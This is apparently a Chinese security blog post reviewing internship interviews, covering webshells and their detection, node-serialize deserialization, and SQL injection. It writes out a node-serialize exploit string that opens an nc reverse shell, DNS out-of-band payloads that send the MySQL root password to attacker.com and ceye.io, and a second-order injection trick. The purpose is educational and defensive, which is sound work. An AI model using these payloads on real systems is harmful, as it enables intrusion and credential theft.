经验总结
菜鸡面试的回顾总结
2019-01-17 14:38

 ■ 前言

从12月底考研结束到19年一月初,二十来天的时间里面了top10的乙方4家,“第二梯队”TMD中的1家以及其他包括中科院在内的科研院所、实验室等,大大小小面了近10家吧,收到4个offer,最后去哪家还在考虑。

今年是互联网行业的寒冬,找个实习实在不容易。内推的消息少了,公开招聘的岗位也少了,在boss直聘上,某安在我投递简历后不久就取消了全部岗位的招聘(大写的尴尬),所以投递简历的时候和安全相关基本上我都投了,好像一切安全相关的都愿意干,前天被Monyer大佬的文章刷屏了,里面提到,现在安全也分得很细了,甚至连web渗透和内网渗透也分成了两个方向,深以为然。一个人可能确实没那么多精力兼顾各个方向,而面试就帮我排除了一些不愿意发展下去的方向,比如在面试某恒时我意识到了自己并不想做CTF赛题研究;在面试某象时意识到并不愿意做漏洞审核等安服工作,期间的回答也很敷衍。

以上为背景。在回答面试官的提问过程中帮助我部分整理了自己内在的知识体系,本文将针对面试中常出现的经典问题,作出自己的阐释,这些问题虽然是一个点,但是涉及到的面试非常广的,难免挂一漏万。答案抛砖引玉,欢迎各位大佬说说自己的观点。

这次主要针对三个问题:

1)谈谈对webshell的理解以及攻防对抗;

2)谈谈java的反序列化(这是面试官的原问题,我在本文中谈的是反序列化,以及横向比较java、python、php等反序列化的共性和个性;

3)谈谈对SQL注入的认识。

■ 谈谈对webshell的理解以及攻防对抗

webshell就是web+shell。Shell都很熟悉了,最常见的就是win下的“cmd“,以及linux的terminal,有了shell其实就是对主机取得了一定程度的操作权限,而webshell指的就是web形式的shell,即在web端输入命令执行的效果和直接在terminal下执行是一样的(不太严谨,具体的一些命令取决于用户的操作权限,可能无法执行)。

广义上讲,webshell包括富有中国特色的一句话木马、小马、大马。一句话的变形比较多,网上很多过waf的教程其实核心就是变形一句话,一句话木马的好处就是好使,可以单独用,也可以插在其他文件中用,通常就一行代码,用特征查杀的方法不太容易对付,加之变形多,所以比较难以查杀。

微信图片_20190117144212.png

小马,只有文件上传的功能,体积没一句话小,功能没大马多,就不展开说了。常见的就长这样。

微信图片_20190117144300.jpg

大马,体积大,功能也很多,以前很流行的大马好像叫“不死之魂”。呐,就长这样。

微信图片_20190117144346.jpg

很多师傅可能都玩过,大马自身也知道自己容易被“x狗“,”x盾“,“x卫士“处理,何况自身很多功能的实现避免不了要调用系统的关键敏感函数,比如存在系统调用的命令执行函数,如systme、cmd_shell,如文件操作函数,fopen、fwrite等,所以通常自身就带有对代码混淆的功能,比如常见的字符串异或、压缩、截断。所以,就可以通过grep等正则匹配的方式去查找webshell,D盾等传统的工具也正是类似的原理。

微信图片_20190117144434.jpg

webshell的攻击是基于文件上传漏洞的背景下进行的,所以包括经典的空字节截断,服务器解析漏洞等都又可能被利用来挂webshell。

于webshell的防御,首先要侦测出存在webshell,实现这一目的主要从流量和行为两方面来进行。

流量方面的话,最典型的莫过于通过菜刀连接一句话的时候产生的流量。

微信图片_20190117144539.jpg

合天网安实验室有相应的实验,http://www.hetianlab.com/expc.do?ec=ECIDee9320adea6e062018020614185300001。比如kali下常用的weevely也会产生典型的流量,有兴趣的师傅可以抓个包玩玩。

微信图片_20190117144623.jpg

从行为方面来分析,也很好理解。攻击者拿到webshell后,为了后续攻击的方便,自然会有一些典型的行为来进行持久化利用、信息搜集等。比如分析文件的权限、创建时间、访问时间等。我们可以有这么一个推测,距离入侵事件发生时间比较接近的有改动的文件很大程度上被入侵者接触过,比如/usr/bin等敏感目录、777权限的文件、隐藏的文件(linux下以“.“开头)等。比较重要的系统文件还包括/etc/passwd,可以查看有无新增的用户,crontab查看定时任务,可能入侵者会在此加入后门自启动的相关信息等。还可以通过进程进行分析,可以分析cpu占用率高、内存占用多的进程,分析端口、ip等,至于history这条命令大部分情况下应该是没用的,入侵者可能早就清楚这一块的痕迹了。

至于webshell的防御,还是那么几条建议:保持程序是最新版本,下载官方程序使用时对数据库名称、默认路径进行修改,防止入侵者白盒分析,利用白名单,上传目录权限遵循最小权限原则。

■ 谈谈反序列化漏洞

emm,先上一张图

微信图片_20190117144821.jpg

全页都是java反序列化漏洞,其实不止java的呀,黑阔最爱-python也存在反序列化漏洞、被用来重写metasploit的ruby也存在,世界上最好的语言php等编程语言也存在。

了解反序列化就要从序列化说起,序列化就是将对象转换成一种数据格式,比如json、xml这种比较流行的格式或者其他二进制字节流,用于保存在内存、数据库或者在网络中通信时使用。相应地,反序列化就是逆过程,反序列化漏洞就是在逆过程中出现了问题,当程序在字节流转换回对象的过程中,字节流被黑阔篡改了,同时程序没有相应的过滤、校验等防御机制,可能就会导致发反序列漏洞的产生。反序列化漏洞可以用来进行拒绝服务攻击、访问控制攻击和远程命令执行攻击等,危害巨大。Java、python、php反序列化漏洞被说的比较多了,这里篇幅也有限,就简单提提比较小众的Node.js吧。

合天网安实验室有python反序列化漏洞的实验http://www.hetianlab.com/expc.do?ec=ECID7eab-0fb2-4f21-96df-5c1f912e5572

微信图片_20190117144936.jpg

node.js存在反序列化远程代码任意执行漏洞,若不可信数据传入unserialize() 函数中,通过Javascript中的函数表达式(IIFE)在对象被创建时调用serialize() 函数,可以实现任意代码执行。

微信图片_20190117145052.jpg

打开登录页面,接着使用nc监听反弹shell

微信图片_20190117145151.jpg

讲exp:_$$ND_FUNC$$_function(){require('child_process').exec('mknod backpipe p; nc <本机ip><8080> 0<backpipe | /bin/bash )>backpipe'}}()
填入password,username任意,即可监听并利用反弹的shell

微信图片_20190117145316.jpg

漏洞的根源在于反序列化的处理不当。审计源码(node-serialize/lib/serialize.js)

微信图片_20190117145403.jpg

在执行eval('('+ obj[key].substring(FUNCFLAG.length) + ')');这条语句时实际执行的是eval((function(){require('child_process').exec('', function(error, stdout, stderr){console.log(stdout);});}()))。既然能执行exec‘’中的命令,那么其他命令执行也是可以的,上面的演示其实就是执行了反弹shell的命令

关于这个漏洞还涉及到立即调用的函数表达式IIFE的相关知识点,详情可参考【1】

■ 谈谈对SQL注入的认识

这个问题已经被问烂了,大部分找web方向的实习工作的师傅应该都被问到过。不过,这个看似没有难度的问题,如果被面试官步步追问,其实就很难回答了。比如我面试的时候问,sql防御手段有什么?答,预编译,过滤balabala。问,预编译可以防止所有sql注入吗?答,不是。问,有哪些情况不能使用预编译?有哪些情况预编译使用防止不了sql注入?说说预编译的过程?使用PDOprepare与预编译的异同?求职者,卒。

本文花些篇幅梳理下关于SQL注入我在面试中被问到的问题(仅大方向,后续的追问与面试时的回答及面试官的提问角度有关,列出来难免挂一漏万,就不写出来了)。

Q1 什么是SQL注入

攻击者通过控制web的输入,在数据库端执行有害的SQL查询语句。(来自OWASP,应该算是标准的回答吧)

Q2 注入的本质

注入的本质,是把用户输入数据作为代码执行。有两个关键条件:第一个是用户能控制输入;第二是原本程序要执行的代码,拼接了用户输入的数据,把数据当代码执行了

Q3 如何防御SQL注入

核心原则:数据代码分离原则。

1.最佳方法:预编译语句,绑定变量。使用预编译的SQL语句,SQL的语义不会变化,攻击者无法改变SQL的结构,即使攻击者插入了类似于’or‘1’=’1的字符串,也只会将此字符串作为username查询。

2.从存储过程来防御:先将SQL语句定义在数据库中,存储过程中可能也存在注入问题,应该尽量避免在存储过程中使用动态SQL语句。

3.从数据类型角度来防御:限制数据类型,并统一数据格式。

4.从开发者角度来防御:开发时尽量用安全函数代替不安全函数,编写安全代码。危险函数,常见的执行命令函数,动态访问函数,如C语言中的system(),PHP的eval(),JSP的include()导致的代码越权执行,都是注入。

5.从数据库管理者角度来防御:最小权限原则,避免root,dbowner等高权限用户直接连接数据库。

Q4 二阶SQL注入

可以一定程度上绕过前端策略的拦截,利用已构造好并存入数据库中的合法内容,通过正规流程去修改无权限的内容,如别人的账号密码。另外,也可以避免一些简单的单引号、双引号、反斜线等转义拦截对构造语句的影响。利用时,需要提前在数据库中插入已经构造好的内容,并利用已有内容进行语句组合提交,方可成功利用。举个最简单的例子。

比如$sql= "UPDATE users set PASSWORD=’$passwd’WHEREUSERNAME=’$username’ AND OLD_PASS = ‘$oldpass’";

这是一条修改密码的sql语句

如果系统中存在admin账户,而我们又不知道密码的时候可以新建一个用户,命名为admin’--,admin和admin’--在创建时系统会把它识别为不同用户,可以创建通过,但是在查询的过程中,单引号”’”则为闭合,”--”则为注释,那么查询语句就变成了
$sql= "UPDATE users set PASSWORD=’$passwd’WHEREUSERNAME=’admin’--’ AND OLD_PASS = ‘$oldpass’";

可以看到后面oldpass的校验被注释掉,我们就可以在不校验旧密码的情况下直接修改admin的密码

Joomla之前爆出过一个影响比较大的二阶SQL注入,参看[4]

Q5 带外通道攻击(OOB)

带外通道攻击主要是利用其他协议或者渠道从服务器提取数据。它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等.

条件限制:需要绝对路径的,以及FILE权限

最常见的两种类型包括DNS注入和SMBRelay注入。这里简单提下DNS注入,更详细的论文在【5】,SMBRelay注入可参考[6].

带外攻击的核心就是引起数据库去执行其他协议。DNS注入的前提是数据库有可用的能直接或间接引发DNS解析过程的子程序。

这里涉及到两个知识点

1.UNC--Windows用于访问共享文件的域名转换系统。语法格式:\\host-name\share-name\file_path

我们来试一下,在浏览器里面输入\\a.b.c.d\ef,发现自动转换成file://a.b.c.d/ef

微信图片_20190117150024.jpg

可以看到第486条记录发现其发送了一个DNSStandard query,主机名是a.b.c.d,以及DNS响应报文。

2.MySQL的函数LOAD_FILE()

用于读取文件内容并将其作为字符串返回: 

例如,要获取C:\Windows\system.ini文件的内容运行:SELECT LOAD_FILE('C:Windows\\system.ini') ; 

selectload_file("\\key.yoursite.com\abc");
比如使用MySQL的函数LOAD_FILE()将系统管理员的密码通过DNS解析机制传输

SELECTLOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHEREuser='root'LIMIT 1),'.attacker.com\\foobar'));

利用以上知识,把盗取的数据放入域名中,实现利用:selectload_file("\\key.yoursite.com\abc");

微信图片_20190117150158.jpg

由于DNS信息可以被存储,所以在你服务器上可以通过记录DNS请求信息,从而实现内容记录,下面是一个典型的payload:
SELECTLOAD_FILE(CONCAT('\\\\',(SELECT authentication_string FROM mysql.userWHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

微信图片_20190117150247.jpg

注:1.ceye.io进行常见回显查看,图中所示即为主界面

       2.如果有DNS缓存,会发送失败,需要清除系统DNS缓存,命令:ipconfig/flushdns

Q6 预编译的原理

Java和php中的预编译的原理类似,语句有些不同罢了。Java中长这样:

微信图片_20190117150439.jpg

php中长这样

微信图片_20190117150510.jpg

这是PHP使用预编译语句的一个例子,在这个例子中,先预编译SQL语句,将变量用?表示。当用户输入参数时,通过bindParam()函数绑定,将输入当做整体传给预编译SQL语句来执行,不会出现执行拼接字符的情况,避免了SQL注入攻击。

至于预编译是否可以防止所有SQL注入攻击,答案肯定是不能的,至于解释在StackOverflow上也引起了争论,我这种菜鸡在这儿就不发言了,大家可以参考【9】

■ 后记

这一年来,上半年在开发一个物联网安全的项目,下半年考研,web安全几乎没怎么接触,本文涉及到很多知识为前期积累,记错了的或者理解错了的,欢迎指正,望各位大佬包涵。

■ 参考及扩展资料

【1】https://www.exploit-db.com/docs/41289.pdf

【2】https://www.freebuf.com/news/180882.html

【3】https://allabouttesting.org/top-10-interview-questions-sql-injection-owasp-application-security/

【4】https://blog.ripstech.com/2018/joomla-privilege-escalation-via-sql-injection/

【5】http://arxiv.org/ftp/arxiv/papers/1303/1303.3047.pdf

【6】http://pen-testing.sans.org/blog/pen-testing/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python

【7】https://hellohxk.com/blog/sql-injection/

【8】http://www.cnblogs.com/LoveJenny/archive/2013/01/15/2860553.html

【9】https://stackoverflow.com/questions/134099/are-pdo-prepared-statements-sufficient-to-prevent-sql-injection/12202218#12202218

QQ截图20190117150930.jpg

QQ截图20190117150945.jpg



▲ 本文为原创文章,转载请注明出处!

上一篇:一次比赛的木马从分析到种马接着删马
下一篇:记一道新颖又顽皮的题目
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731